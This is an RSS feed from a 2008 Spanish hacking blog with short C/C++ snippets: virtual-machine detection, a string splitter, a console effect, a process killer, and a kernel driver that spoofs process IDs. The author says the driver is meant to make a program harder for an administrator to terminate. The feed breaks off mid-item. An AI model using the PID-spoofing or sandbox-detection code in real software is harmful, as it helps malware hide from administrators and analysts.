<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Aztek Mindz &#187; C \\ C++</title>
	<atom:link href="http://www.aztekmindz.org/category/c-c/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.aztekmindz.org</link>
	<description>Inseguridad informatica y Laboratorio virico</description>
	<pubDate>Mon, 08 Dec 2008 13:39:24 +0000</pubDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
			<item>
		<title>Detectar Maquina Virtual VM en C++</title>
		<link>http://www.aztekmindz.org/2008/08/04/detectar-maquina-virtual-vm-en-c/</link>
		<comments>http://www.aztekmindz.org/2008/08/04/detectar-maquina-virtual-vm-en-c/#comments</comments>
		<pubDate>Mon, 04 Aug 2008 09:26:11 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
		
		<category><![CDATA[C \\ C++]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=165</guid>
		<description><![CDATA[Codigo en C++ que nos permite detectar si nuestra aplicación esta siendo ejecutada en una maquina virtual (virtual machine).]]></description>
			<content:encoded><![CDATA[<p>Codigo en C++ que nos permite detectar si nuestra aplicación esta siendo ejecutada en una maquina virtual (virtual machine).</p>
<div class="dean_ch" style="white-space: wrap;"><span class="coMULTI">/*<br />
Virtual Machine Detection<br />
&nbsp; &nbsp;Coded by stoopid</p>
<p>Credits to Cobein<br />
*/</span></p>
<p><span class="co2">#include &lt;stdio.h&gt;</span><br />
<span class="co2">#include &lt;windows.h&gt;</span></p>
<p><span class="kw4">char</span>* sProduct<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="br0">&#123;</span> <span class="st0">&quot;*VMWARE*&quot;</span>, <span class="st0">&quot;*VBOX*&quot;</span>, <span class="st0">&quot;*VIRTUAL*&quot;</span> <span class="br0">&#125;</span>; &nbsp; &nbsp;</p>
<p>bool DetectVM<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; HKEY hKey;<br />
&nbsp; &nbsp; <span class="kw4">char</span> szBuffer<span class="br0">&#91;</span><span class="nu0">64</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">long</span> hSize = <span class="kw4">sizeof</span><span class="br0">&#40;</span>szBuffer<span class="br0">&#41;</span> - <span class="nu0">1</span>; </p>
<p>&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>RegOpenKeyEx<span class="br0">&#40;</span> HKEY_LOCAL_MACHINE, <span class="st0">&quot;SYSTEM<span class="es0">\\</span>ControlSet001<span class="es0">\\</span>Services<span class="es0">\\</span>Disk<span class="es0">\\</span>Enum&quot;</span>, <span class="nu0">0</span>, KEY_READ, &amp;amp;hKey <span class="br0">&#41;</span> == ERROR_SUCCESS <span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span> RegQueryValueEx<span class="br0">&#40;</span> hKey, <span class="st0">&quot;0&quot;</span>, <span class="kw2">NULL</span>, <span class="kw2">NULL</span>, <span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">char</span> *<span class="br0">&#41;</span>szBuffer,&amp;hSize <span class="br0">&#41;</span> == ERROR_SUCCESS<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span><span class="br0">&#40;</span> <span class="kw4">int</span> i = <span class="nu0">0</span>; i &lt; <span class="br0">&#40;</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span> sProduct <span class="br0">&#41;</span> / <span class="kw4">sizeof</span><span class="br0">&#40;</span> <span class="kw4">char</span>* <span class="br0">&#41;</span> <span class="br0">&#41;</span>; i++ <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span> strstr<span class="br0">&#40;</span> szBuffer, sProduct<span class="br0">&#91;</span> i <span class="br0">&#93;</span> <span class="br0">&#41;</span> <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RegCloseKey<span class="br0">&#40;</span> hKey <span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">true</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; RegCloseKey<span class="br0">&#40;</span> hKey <span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">false</span>;<br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> DetectVM<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span> <span class="st0">&quot;VM detected<span class="es0">\n</span>&quot;</span> <span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span> <span class="st0">&quot;No VM detected<span class="es0">\n</span>&quot;</span> <span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span>;<br />
<span class="br0">&#125;</span></div>
]]></content:encoded>
			<wfw:commentRss>http://www.aztekmindz.org/2008/08/04/detectar-maquina-virtual-vm-en-c/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Funcion Split / Strtok C++</title>
		<link>http://www.aztekmindz.org/2008/08/02/funcion-split-strtok-c/</link>
		<comments>http://www.aztekmindz.org/2008/08/02/funcion-split-strtok-c/#comments</comments>
		<pubDate>Sat, 02 Aug 2008 06:34:34 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
		
		<category><![CDATA[C \\ C++]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=155</guid>
		<description><![CDATA[Funcion que sirve para partir cadenas de texto usando separadores, muy util para lanzar comandos con parametros, un ejemplo podria ser el uso de comandos en una herramienta que utiliza sockets, podemos enviar char arrays del tipo: comando-parametro1-parametro2 en texto plano atraves del socket o cualquier otro medio.]]></description>
			<content:encoded><![CDATA[<p>Funcion que sirve para partir cadenas de texto usando separadores, muy util para lanzar comandos con parametros, un ejemplo podria ser el uso de comandos en una herramienta que utiliza sockets, podemos enviar char arrays del tipo: comando-parametro1-parametro2 en texto plano atraves del socket o cualquier otro medio.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;stdio.h&gt;</span><br />
<span class="co2">#include &lt;windows.h&gt;</span></p>
<p><span class="coMULTI">/* ///////////////////////////////////////////////////////////////<br />
/*<br />
/* &nbsp;Funcion Split con strtok<br />
/* &nbsp;By Octalh<br />
/* &nbsp;www.aztekmindz.org | octalh@gmail.com<br />
/* &nbsp;USO: cmd(&quot;CADENA-DE-TEXTO&quot;,&quot;SEPARADOR&quot;,TROZO_DECEADO)<br />
/* &nbsp;Ejemplo: char* msj = cmd(&quot;salu2-desde-aztekmindz&quot;,&quot;-&quot;,2);<br />
/* &nbsp;msj es igual a: &quot;aztekmindz&quot;<br />
/* &nbsp;Los trozos se cuentan desde el &quot;0&quot;.<br />
/*<br />
*/</span> <span class="co1">///////////////////////////////////////////////////////////////</span></p>
<p>using namespace std;</p>
<p><span class="kw4">int</span> cc<span class="br0">&#40;</span> <span class="kw4">char</span>* strc, <span class="kw4">char</span> sep <span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp;<span class="kw4">int</span> cc = <span class="nu0">0</span>;<br />
&nbsp; &nbsp;<span class="kw1">while</span><span class="br0">&#40;</span> *strc <span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">char</span><span class="br0">&#41;</span>*strc == <span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>sep<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cc++;<br />
&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; strc++;<br />
&nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp;<span class="kw1">return</span> cc;<br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">char</span> *cmd<span class="br0">&#40;</span><span class="kw4">char</span> *str2,<span class="kw4">char</span> *sep, <span class="kw4">int</span> prt<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw4">static</span> <span class="kw4">char</span> salida<span class="br0">&#91;</span><span class="nu0">100</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw4">char</span> str<span class="br0">&#91;</span><span class="nu0">100</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; strcpy<span class="br0">&#40;</span>str,str2<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw4">int</span> cuantas = cc<span class="br0">&#40;</span> str,sep<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw4">char</span> *test<span class="br0">&#91;</span><span class="nu0">100</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; test<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> = strtok<span class="br0">&#40;</span>str, sep<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>prt == <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span><span class="br0">&#40;</span>cuantas != <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sprintf<span class="br0">&#40;</span>salida,<span class="st0">&quot;%s&quot;</span>,test<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sprintf<span class="br0">&#40;</span>salida,<span class="st0">&quot;ERROR&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>cuantas<span class="nu0">+1</span> &gt; prt <span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">for</span><span class="br0">&#40;</span><span class="kw4">int</span> i = <span class="nu0">1</span>; i &lt; prt<span class="nu0">+1</span>; i++<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; test<span class="br0">&#91;</span>i<span class="br0">&#93;</span> = strtok <span class="br0">&#40;</span><span class="kw2">NULL</span>, sep<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sprintf<span class="br0">&#40;</span>salida,<span class="st0">&quot;%s&quot;</span>,test<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sprintf<span class="br0">&#40;</span>salida,<span class="st0">&quot;ERROR&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="kw1">return</span> salida;<br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span> &nbsp; </p>
<p>&nbsp; &nbsp; <span class="kw4">char</span>* msj = cmd<span class="br0">&#40;</span><span class="st0">&quot;A-B-C-D-E&quot;</span>,<span class="st0">&quot;-&quot;</span>,<span class="nu0">2</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s <span class="es0">\n</span>&quot;</span>,msj<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; system<span class="br0">&#40;</span><span class="st0">&quot;PAUSE&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">return</span> EXIT_SUCCESS;<br />
<span class="br0">&#125;</span></div>
<p>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.aztekmindz.org/2008/08/02/funcion-split-strtok-c/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Efecto Matrix C++</title>
		<link>http://www.aztekmindz.org/2008/07/24/efecto-matrix-c/</link>
		<comments>http://www.aztekmindz.org/2008/07/24/efecto-matrix-c/#comments</comments>
		<pubDate>Fri, 25 Jul 2008 01:12:47 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
		
		<category><![CDATA[C \\ C++]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=145</guid>
		<description><![CDATA[Codigo en C++ para simular un efecto matrix en pantalla completa, no tiene mucha utilidad pero me gusta xD]]></description>
			<content:encoded><![CDATA[<p>Codigo en C++ para simular un efecto matrix en pantalla completa, no tiene mucha utilidad pero me gusta  xD</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;iostream&gt;</span><br />
<span class="co2">#include &lt;windows.h&gt;</span></p>
<p>using namespace std;</p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
keybd_event<span class="br0">&#40;</span>VK_MENU, 0&#215;38, <span class="nu0">0</span>, <span class="nu0">0</span><span class="br0">&#41;</span>;<br />
keybd_event<span class="br0">&#40;</span>VK_RETURN, 0&#215;1c, <span class="nu0">0</span>, <span class="nu0">0</span><span class="br0">&#41;</span>;<br />
keybd_event<span class="br0">&#40;</span>VK_RETURN, 0X1c, KEYEVENTF_KEYUP, <span class="nu0">0</span><span class="br0">&#41;</span>;<br />
keybd_event<span class="br0">&#40;</span>VK_MENU, 0&#215;38, KEYEVENTF_KEYUP, <span class="nu0">0</span><span class="br0">&#41;</span>;<br />
<span class="kw4">int</span> binary, count;<br />
HWND CurrentWin;<br />
CurrentWin = GetForegroundWindow<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
HANDLE consol;<br />
consol = GetStdHandle<span class="br0">&#40;</span>STD_OUTPUT_HANDLE<span class="br0">&#41;</span>;<br />
SetConsoleTextAttribute<span class="br0">&#40;</span>consol,FOREGROUND_GREEN<span class="br0">&#41;</span>;<br />
SetConsoleTitle<span class="br0">&#40;</span><span class="st0">&quot;Matrix&quot;</span><span class="br0">&#41;</span>;<br />
<span class="kw1">while</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
binary = rand<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; binary;<br />
SetForegroundWindow<span class="br0">&#40;</span>CurrentWin<span class="br0">&#41;</span>;<br />
count = rand<span class="br0">&#40;</span><span class="br0">&#41;</span>%<span class="nu0">200</span>;<br />
<span class="kw1">if</span><span class="br0">&#40;</span>count&lt;<span class="nu0">51</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
<a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; <span class="st0">&quot; &quot;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw1">return</span> <span class="nu0">0</span>;<br />
<span class="br0">&#125;</span></div>
]]></content:encoded>
			<wfw:commentRss>http://www.aztekmindz.org/2008/07/24/efecto-matrix-c/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Falsificar PID de un proceso C++</title>
		<link>http://www.aztekmindz.org/2008/07/13/falsificar-pid-de-un-proceso/</link>
		<comments>http://www.aztekmindz.org/2008/07/13/falsificar-pid-de-un-proceso/#comments</comments>
		<pubDate>Sun, 13 Jul 2008 06:22:45 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
		
		<category><![CDATA[C \\ C++]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=75</guid>
		<description><![CDATA[Código para falsificar el PID de cualquier proceso que comience con abc* y de esa forma hacer mas difícil para un administrador terminar dicha aplicación.]]></description>
			<content:encoded><![CDATA[<p>Código para falsificar el PID de cualquier proceso que comience con abc* y de esa forma hacer mas difícil para un administrador terminar dicha aplicación.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &lt;ntddk.h&gt;</span></p>
<p>NTSTATUS &nbsp;PsLookupProcessByProcessId<span class="br0">&#40;</span><span class="kw4">LONG</span> ProcessId,<span class="kw4">LONG</span> *Process<span class="br0">&#41;</span>;</p>
<p><span class="kw4">void</span> FakePid<span class="br0">&#40;</span>HANDLE ParentID,HANDLE ProcessID,BOOLEAN C<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw4">LONG</span> &nbsp; Proc;<br />
&nbsp; &nbsp; PCHAR &nbsp; N;</p>
<p>&nbsp; &nbsp; PsLookupProcessByProcessId<span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">LONG</span><span class="br0">&#41;</span>ProcessID,&amp;amp;Proc<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>C<span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp;N=<span class="br0">&#40;</span>PCHAR<span class="br0">&#41;</span>Proc+0&#215;174;<br />
&nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>N<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>==<span class="st0">&#8216;a&#8217;</span> &amp;amp;&amp;amp; N<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>==<span class="st0">&#8216;b&#8217;</span> &amp;amp;&amp;amp; N<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>==<span class="st0">&#8216;c&#8217;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span><br />
&nbsp; &nbsp; *<span class="br0">&#40;</span><span class="kw4">LONG</span>*<span class="br0">&#41;</span><span class="br0">&#40;</span>Proc+0&#215;84<span class="br0">&#41;</span>=<span class="nu0">12345</span>;<br />
&nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">return</span>;<br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">void</span> Salir<span class="br0">&#40;</span>PDRIVER_OBJECT DriverObject<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; PsSetCreateProcessNotifyRoutine<span class="br0">&#40;</span>&amp;amp;FakePid,<span class="kw2">TRUE</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">return</span>;<br />
<span class="br0">&#125;</span></p>
<p>NTSTATUS DriverEntry<span class="br0">&#40;</span>PDRIVER_OBJECT DriverObject, PUNICODE_STRING rp<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; DriverObject-&gt;DriverUnload=Salir;<br />
&nbsp; &nbsp; PsSetCreateProcessNotifyRoutine<span class="br0">&#40;</span>&amp;amp;FakePid,<span class="kw2">FALSE</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">return</span> STATUS_SUCCESS;<br />
<span class="br0">&#125;</span></div>
<p><em>Codigo tomado de elhacker.net</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aztekmindz.org/2008/07/13/falsificar-pid-de-un-proceso/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Matar Proceso C++</title>
		<link>http://www.aztekmindz.org/2008/07/12/matar-proceso-c/</link>
		<comments>http://www.aztekmindz.org/2008/07/12/matar-proceso-c/#comments</comments>
		<pubDate>Sun, 13 Jul 2008 00:37:28 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
		
		<category><![CDATA[C \\ C++]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=74</guid>
		<description><![CDATA[Código fuente en C++ para matar un proceso usando el PID , este código seria muy efectivo si va en combinación del código para listar procesos.
#include &#60;cstdlib&#62;
#include &#60;windows.h&#62;
#include &#60;psapi.h&#62;
#include &#60;iostream&#62;
/*
/* Matar procesos C++
/* &#160;By Octalh
/* www.aztekmindz.org
/*
*/
using namespace std;
BOOL tproceso&#40;int pid&#41; &#123;
&#160; &#160; &#160; &#160; int ret=1;
&#160;&#160; &#160; &#160; &#160;HANDLE pHandle;
&#160; &#160; &#160; &#160; if &#40;&#40;pHandle [...]]]></description>
			<content:encoded><![CDATA[<p>Código fuente en C++ para matar un proceso usando el PID , este código seria muy efectivo si va en combinación del código para listar procesos.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;windows.h&gt;</span><br />
<span class="co2">#include &lt;psapi.h&gt;</span><br />
<span class="co2">#include &lt;iostream&gt;</span></p>
<p><span class="coMULTI">/*<br />
/* Matar procesos C++<br />
/* &nbsp;By Octalh<br />
/* www.aztekmindz.org<br />
/*<br />
*/</span></p>
<p>using namespace std;</p>
<p>BOOL tproceso<span class="br0">&#40;</span><span class="kw4">int</span> pid<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> ret=<span class="nu0">1</span>;<br />
&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;HANDLE pHandle;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>pHandle = OpenProcess<span class="br0">&#40;</span>PROCESS_ALL_ACCESS,<span class="kw2">FALSE</span>,pid<span class="br0">&#41;</span><span class="br0">&#41;</span> != <span class="kw2">NULL</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>!TerminateProcess<span class="br0">&#40;</span>pHandle,<span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ret=<span class="nu0">0</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CloseHandle<span class="br0">&#40;</span>pHandle<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">TRUE</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p><span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw4">int</span> pid;<br />
&nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; <span class="st0">&quot;<span class="es0">\n</span><span class="es0">\n</span><span class="es0">\t</span> Matar Procesos&quot;</span>;<br />
&nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; <span class="st0">&quot;<span class="es0">\n</span><span class="es0">\t</span> Pid del Proceso:&quot;</span>;<br />
&nbsp; &nbsp; cin &gt;&gt; pid;<br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>tproceso<span class="br0">&#40;</span>pid<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\n</span><span class="es0">\n</span><span class="es0">\t</span> Ok proceso [%d] terminado con exito. <span class="es0">\n</span><span class="es0">\n</span>&quot;</span>,pid<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\n</span><span class="es0">\n</span><span class="es0">\t</span> Error al terminar el proceso [%d] <span class="es0">\n</span><span class="es0">\n</span>&quot;</span>,pid<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; system<span class="br0">&#40;</span><span class="st0">&quot;PAUSE&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">return</span> EXIT_SUCCESS;<br />
<span class="br0">&#125;</span></div>
]]></content:encoded>
			<wfw:commentRss>http://www.aztekmindz.org/2008/07/12/matar-proceso-c/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Listar procesos en C++</title>
		<link>http://www.aztekmindz.org/2008/07/10/listar-procesos-en-c/</link>
		<comments>http://www.aztekmindz.org/2008/07/10/listar-procesos-en-c/#comments</comments>
		<pubDate>Thu, 10 Jul 2008 21:09:54 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
		
		<category><![CDATA[C \\ C++]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=67</guid>
		<description><![CDATA[Codigo fuente en C++ para listar los procesos de Windows.
#include &#60;cstdlib&#62;
#include &#60;windows.h&#62;
#include &#60;psapi.h&#62;
#include &#60;stdio.h&#62;
/*
/* Listar procesos C++
/* &#160;By Octalh
/* www.aztekmindz.org
/*
*/
using namespace std;
void procesos&#40;&#41;&#123;
DWORD Procesos&#91;200&#93;, PN, cProcesos;
unsigned int i;
TCHAR procsnombre&#91;200&#93; = TEXT&#40;&#34;&#34;&#41;;
